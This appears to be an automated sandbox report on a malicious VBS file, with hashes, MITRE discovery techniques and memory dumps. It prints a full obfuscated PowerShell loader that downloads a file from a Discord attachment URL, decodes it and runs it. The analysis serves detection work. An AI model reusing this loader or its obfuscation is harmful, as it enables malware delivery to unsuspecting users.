383b88312f29e69f7d26f64931e6c5dd9e07aa3932e691fad4ca226ad513475f

General

Target

84c8888162228ba34059eb426464aee0409f3ebb.vbs
Size

20KB
MD5

8744d9c9c6a3c95ecd62aab44c61621c
SHA1

84c8888162228ba34059eb426464aee0409f3ebb
SHA256

383b88312f29e69f7d26f64931e6c5dd9e07aa3932e691fad4ca226ad513475f
SHA512

68dc97980c4cec9e737482896c5c5b66d42c42bee35dedd4e3bb1d73f3143fa5e2e4a09aaa887de3d1c1aedc1fd41ef585d0bdfeb0867131921986c7721dda1f
SSDEEP

384:KNSBOQqQmqvXyr//EEGU+sTjT2e7Z+VRV2XzfFkucvOcTZk3q:e+zqa4L7ZoREjfvnct

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1576	powershell.exe
1576	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2176 wrote to memory of 1576	2176	WScript.exe	82
PID 2176 wrote to memory of 1576	2176	WScript.exe	82

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\84c8888162228ba34059eb426464aee0409f3ebb.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bordher Tilbage Friskin Porcelanic #>;Function Tagkons ([String]$Subde){$skru=8;$Botulinshi=Travetur4($Subde);For($Gomeis=7; $Gomeis -lt $Botulinshi; $Gomeis+=$skru){$Travetur=$Travetur+$Subde.Substring($Gomeis, 1)};$Travetur;}function Spdessta16 ($Frodesf){. ($Travetur01) ($Frodesf);}function Travetur4 ([String]$Drpladens){$Pjaltsma1=$Drpladens.Length-1;$Pjaltsma1;}$Travetur02=Tagkons 'VrngedeTBretonsrStyrkegaAmatrisnReservesSvaghedfTheologeTysketsr HensttrGyldigeiEksistenKommandgAnnoyme ';$Unexplic195=Tagkons 'NoncorrhTallerktDanskertSvederep EncephsAlltudv:Unjeopa/Furiant/ThermolcUdlsnindSunayunnnailrod. SchadcdSlikkeri BlndersSpildevcserpentoUnprecarSlekenidSuingpaaEpoptpep InbreapIbenhol.PanickecAfstikpoWirebirmPenthio/Yaffleaa GustintBrochurtOvernobaStrudsgcMisbillhPyrenoimSundhedeMinnyovnRejserntElenchtsRmsfenz/Jointag1Sukkerr2Kdenref0Telegra1 Optage3 encirc0Fasthol1 Region3Mischar3Skeerne9Afprikk0 Kildem2Sammens4Kommuna6wamblyn5noncont4Downing4 Reklam4 Autoco0tandste/ Arabia1Superde2Collume0 Landzo1Furrowe3Enjambe0vakuumm2frerhus9Oversku8Cykelst0valetud9Tremmes5Wayfare2 Exaspe0Helpers6viasunn4Irgunis1 Append1Lopside0Flyvera/CentricOOutbrazpStudentrLycopinr FremkosnoncommlRealtereGemteged labelleDiamantrSkvulpe.ReamermfOverintlToturenaPerilob?MashmeneTantiemxovereas=Phineus6 Ervink5PatellocSjukhus9Stimula5 Granza3Zannote9Skadend5Millimo& Overedi Metodes Sputni=Duckfoo6blodpls5BymurenbBaromet6 Intercd UneffueIsometr9Shanice5Fjermel&Standarh VotablmAfdampn= Forsha6Papirti2LampstafChavish8Coenact5MamaernaenglandaInevapocMetachreKordnin3SylbladfFejlbetbBakkestc Awarepe Godfat3 Phytyl3Panthela Cutlin1AntrotyfPlicato3 Hesiom0DorsoabaUnconso4Trimere3Materun5bisttewbEjectum3Unparada Ldgrite Vocalic Therio0Tweedja1LdrekludQuinoxa2NonunanaPolycene Detach7MedarbeeSymbiot7Skindkr7Circuma6MuscicocPension4Haefter3Yaweydi7 EksegebSkiveradForbind7 Humbold medarb2 MugendeGalvano7Impelle4 Carlyd4Drmmelsf Gelati2Subtroc8Frierne1Bnderpi4WorkysebOverinve Standa3Krokuss7BundahieUigendr&Randemw ';$Travetur01=Tagkons 'Decalogifulgurae AffaldxEfterko ';$Travetur00=Tagkons 'Service$Merostog WeatinlLuggingoAnticivbBelnninaSammenslGbakkes: TowelrPScarebaj HrigtsaReaumurlPiskenetGalskabs unconvmSardineaextranu8Skrmfor Tastatu=videosi AfskyelSAdlendetSelskaba KeglebrNaturlgt Shinto-DelflgeB GassiniGoblinst Eksames ForetaT EvnernrOveroptaPhonetinBootmaks AarstafHaulagee UnvolarSuavilo Miljhe-ColonimSExaggero gallinuassocierkoekkenc NitriaePercarb Raketmo$ MidterUGustustnChesapee StoneixFireugepMenneskl SpyeriiFunktioc gymnas1khazens9Folecit5Jacksha Fjernla-StaffelDUdfrligespurtersEmulgertPlanlggi Billedn UnmottaHavannatPulverii Frstedo LithaenKnuthen Dovecot$DrillenPFollyprjUnhexwhaWoolieslEngelsktGrassilsRudevasm TiltagaEnhance2velunde ';Spdessta16 (Tagkons 'tjenstd$DenotatghidedmalArkivero ObvioubSundhedaGarlandlBjartas:UnunifiPDelatinjRoquellaNoejeinlPharmactTelefonsRespektmSprintsaOmbytni2Majidth=Baggang$Maneuvee Nonascn EmbittvRecessi:DaugaaraDeodorapSammenspNematopdHonkiefa TekstitGrundigaSamtykk ') ;Spdessta16 (Tagkons 'MeteoriISummerim LighedpUenigheoAugurourCarnifitBontokb-finerplMForsgegoLdetuvedHeedfuluDivininlRdgardiePrecool EjefaldBLaundryiNedrulntMonograsOmsaetnTBemyndirSundhedaOverextnEkatarisChristof Plsanae MislydrLateine ') ;$Pjaltsma2=$Pjaltsma2+'\Overp.Kas' ;Spdessta16 (Tagkons 'Milieuv$ MonoptgRepositl CuerpooCoenosibRaptnesabivectolfornyel:CarilloPUnconvej MinimuaLrerenalIntranstSoldates BeundrmFessepoaUdgivel7Funklet=Lftning(UntantaTAffarvneOpsendes Stemmet Landvs-VkstregP GlendaaAbiturstTongueshKamithe Dobbelt$GlatninP Testkrj MayoreaStiffenlKryolittFremhols PretermNailworaLithogr2Markprv)Stereot ') ;while (-not $Pjaltsma7) {Spdessta16 (Tagkons 'DenningIScoriacfOrganiz Shulera(Adminis$NonplusPmineralj TypenaaUdtreral FeriertInfiltrs Sisanbm SequanaSarcoma8 Gutenb.SkattekJNazisteoAgterudbNettlefSiyoflletFraternaIspindet MicromeHangerf Standa-plutarceAabenthqTyphlec Godkend$RetrospT RobotirSvitseraPlamagevOverheaeVlgermdtEntrochu trumperSuperob0Dactylo2 Misana)Kayakin Psychis{ RusineSVaabenstAsparagaTilordnrHovedlit Progra-outpeopSTidsbunlTyrkerneTuristbeStandarp Bogsta Ribbern1Unsonab}Fiskebae LandshlDokumensErgatoce Finere{VrelseaSScaffoltTentifoa FiktivrPaahldntutjsbek-LydsignS Brunonl trykbaeQuirkineHjemmeap Instit Tongane1Dannebr;AmmonitSLocarnipRedoubldMsanthoetrevrelsKradsersSkrammetCaronicaUndercl1 Delkre6Herskin Kreeren$ produkTKurveunrKnivspiaLiverpovHoptreeeDecurretRenommeuSpearprrAttempt0Istanab0Uredosp}Hawcuai ');Spdessta16 (Tagkons ' Gravid$ EstrongPjuskenl Transfo WoodenbPyromana Accessl Biogas: ImaginP egebrnjHatfielaNonequilKoloniat FiltersGeleddemPennefja Fritga7Diskend=Spildev(BlondekTLuftnineTearstasKontakttConterm-StridskPPerforca OrgasttFilosofhReperus Portent$StrandsP VirknijBinoculafianceelAcridictBruttonsSkalpejm Kohsioa nameab2Annalia)Bilsalg ') ;}Spdessta16 (Tagkons 'pinxite$Bardellg MotivelMidlandoGregersbBifaldta KnsrollTampone:SpeakettWhitesiiLokalplnwithoutgCroftsfiAnaerobtTalpidu Judcock=Snippie PatrisGanalphaeCosheretAksinja-RashlymCRoadweeoExsangunUdskrivtForbrydeSynacmynLevitattBateshy Transm$CapryloPbilledkjUnderhoaCynosurlAbandontNacresssArrangemberedska Bortka2afskriv ');Spdessta16 (Tagkons 'Nasocil$AtkinssgindoneslDeklamaoCoruscab aforeta Perforl Udrust:PurtenaLFrankeneBesmearjTapirideGavstriiRigiditnStatholdElefant Couscou=semiper Superge[OpsttelSHerofliy PolemisrhigositDanilafeRekvisimPartyfe.SkubberCSlugvoro HulninncuococavConusabefarrantrUdpakketEscobil]Versetp: Alliac:PatgiasFSinistrrCreatreoTornfugmfladhovBcampanuaVerballsCorbanreKroketk6Kurveun4 ChicquSKpcovertexpoundrLetsindiEphorifn VoldsmgGatekvi(latterl$registrtTorasskiNegerinnadventugRdarveriSkraahutOutdate)Uniform ');Spdessta16 (Tagkons ' Mirake$AdelskrgGrundval Affrelo SkrivebUnpopula Supporl Equili:NonsystTShinninrTremella UdfrsevColcotheAveragetDyrehavuInculparNervesy2hausucc Moderni= Fratra Maltend[KontorrSDracusryFiktivus LokkedtReumatieLyvendemPricklo. ForstvTblundere ChaussxToothbrtGuerill.StratouEHellerin FrserecudfrittoOleorefdudstedeiHjrnetnnlisiespgEquiang] romane:udstill:TetteroACapacitS ReaccuCstordriIReofferISkjules.SquamulGDematere FaguddtLordlikSSubtraktIntrapor Prenobi CampinnAuguriag Nonpru(Nuptial$LedsageLBevirkeeMidtbanjMisrealeTerjeskiPrenternProduktdJoyride) Behave ');Spdessta16 (Tagkons ' Vejled$SejtrukgLeadbaclMoegemooStyletsbHakkissaQueltaflPligtop:HippophTAbsolverOrthognaGenlsetvHimmelbeDriftsut AflaasuSamarberForbrug3Formand= Nephel$FavnmaaTLaconicroverintafishinevFjernbueSperonatFrapperuRamlernrYabbien2Marlies. BlretasKursuscuWhatnesbParterrsCanallat recomprForbarmiMymaridnNoisedcgNykoebi(Deleger3 Finnjo2 Asympt4demised1Surveil4Opvokse6Frsteha, Foolss2Dermato5gennemk5idiosyn4Lagerst9Kardial)Aangstr ');Spdessta16 $Travetur3;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wzgo024e.lob.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1576-16-0x0000020850FC0000-0x0000020850FE6000-memory.dmp

Filesize
152KB

Download
memory/1576-18-0x0000020851050000-0x0000020851058000-memory.dmp

Filesize
32KB

Download
memory/1576-11-0x00000208504D0000-0x00000208504E0000-memory.dmp

Filesize
64KB

Download
memory/1576-14-0x00000208504C0000-0x00000208504D0000-memory.dmp

Filesize
64KB

Download
memory/1576-13-0x00007FFD67B50000-0x00007FFD68611000-memory.dmp

Filesize
10.8MB

Download
memory/1576-12-0x00000208510B0000-0x00000208511B4000-memory.dmp

Filesize
1.0MB

Download
memory/1576-10-0x0000020850530000-0x0000020850552000-memory.dmp

Filesize
136KB

Download
memory/1576-15-0x00000208504C0000-0x00000208504D0000-memory.dmp

Filesize
64KB

Download
memory/1576-17-0x0000020851020000-0x0000020851034000-memory.dmp

Filesize
80KB

Download
memory/1576-0-0x0000020850560000-0x00000208505E6000-memory.dmp

Filesize
536KB

Download
memory/1576-19-0x00000208504C0000-0x00000208504D0000-memory.dmp

Filesize
64KB

Download
memory/1576-20-0x00007FFD67B50000-0x00007FFD68611000-memory.dmp

Filesize
10.8MB

Download
memory/1576-21-0x00000208504C0000-0x00000208504D0000-memory.dmp

Filesize
64KB

Download
memory/1576-22-0x00000208504C0000-0x00000208504D0000-memory.dmp

Filesize
64KB

Download
memory/1576-23-0x00000208504C0000-0x00000208504D0000-memory.dmp

Filesize
64KB

Download
memory/1576-24-0x00000208504C0000-0x00000208504D0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing